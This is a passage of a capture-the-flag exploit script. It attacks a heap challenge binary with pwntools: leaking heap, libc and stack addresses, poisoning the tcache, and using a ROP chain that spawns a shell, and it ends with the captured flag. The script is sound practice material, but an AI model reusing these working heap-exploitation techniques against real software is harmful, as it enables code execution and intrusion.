name = [k for k, v in frame.f_locals.items() if v is value][0]
log.info(f"{name}: {hex(value)}")
rud = lambda a:io.recvuntil(a, drop=0x1)
r = lambda: io.recv()
int16 = lambda a: int(a, 16)
rar = lambda a: io.recv(a)
rj = lambda a, b, c : a.rjust(b, c)
lj = lambda a, b, c : a.ljust(b, c)
d = lambda a: a.decode('utf-8')
cl = lambda: io.close()
rlf = lambda: io.recvline(0)
bfh = lambda a: bytes.fromhex(a)
idx = 0
def register(sz, data, amount=50, status=b'y'):
sla(b'==> ', b'1')
sla(b': ', str(amount).encode())
sla(b': ', status)
sla(b': ', str(sz).encode())
sa(b':\n', data)
global idx
idx += 1
def delete(idx):
sla(b'==> ', b'2')
sla(b': ', str(idx).encode())
def view(idx):
sla(b'==> ', b'3')
sla(b': ', str(idx).encode())
def demangle(p):
mask = 0xfff << 52
while mask:
v = p & mask
p ^= (v >> 12)
mask >>= 12
return p
def mangle(p, adr):
return p^(adr>>12)
context.log_level = 'debug'
register(0x38, b'A')
register(0x38, b'B')
register(0x38, b'C')
delete(2)
delete(1)
delete(0)
register(0x28, b'D')
view(3)
rud(b'Description: ')
leaked_heap = demangle(u64(lj(io.recv(6), 8, b'\0')))
li(leaked_heap)
heap_base = (leaked_heap) & ~0xfff
li(heap_base)
assert heap_base & 0xfff == 0
# bikin fake chunk
register(0x38, b'E' * 8 + p64(0x421) + b'F') # fake chunk header
for i in range(0, 4, 1):
register(0x60, chr(ord('G') + i).encode())
register(0x60, (0x60//8) * p64(0x21)) # fake chunk footer
register(0x18, p64(0xdead), 0x21) # bypass chunk consolidation
# trigger main_arena+96 muncul di unsorted_bin and then leak addressnya
delete(3)
fake_chunk_address = heap_base + 0x2e0
li(fake_chunk_address)
register(0x28, p64(fake_chunk_address) + p64(0x10) + p64(0x38) + p64(0x101)) # di heap_base + 0x310 -> overwrite 0x100 jadi 0x101
delete(1)
delete(5)
register(0x28, p64(fake_chunk_address) + p64(0x10) + p64(0x40) + p64(0x101))
view(1)
rud(b'Description: ')
main_arena_96 = u64(lj(io.recv(6), 8, b'\0'))
li(main_arena_96)
libc.address = main_arena_96 - 0x219ce0
assert libc.address & 0xfff == 0
li(libc.address, "libc_base")
# leak stack address via environ
environ = libc.sym.environ
li(environ)
delete(6)
delete(7)
register(0x28, p64(environ) + p64(0x48) + p64(0x56) + p64(0x101))
view(6)
rud(b'Description: ')
stack = u64(lj(io.recv(6), 8, b'\0'))
li(stack)
ret = stack - 0x130
li(ret)
# finishing
register(0x58, (0x30//8) * p64(0x38) + p64(mangle(ret-0x8, heap_base)))
register(0x38, b'#')
rop = ROP(libc)
rop.call(rop.ret.address)
rop.system(next(libc.search(b'bin/sh\0')))
rop.dump()
register(0x38, p64(0) + rop.chain())
com()
```
`HTB{cLu5t3r5_m05t_w4nt3d_h4cK3r_ff612481dfaba69b66814850dba4b3d5}`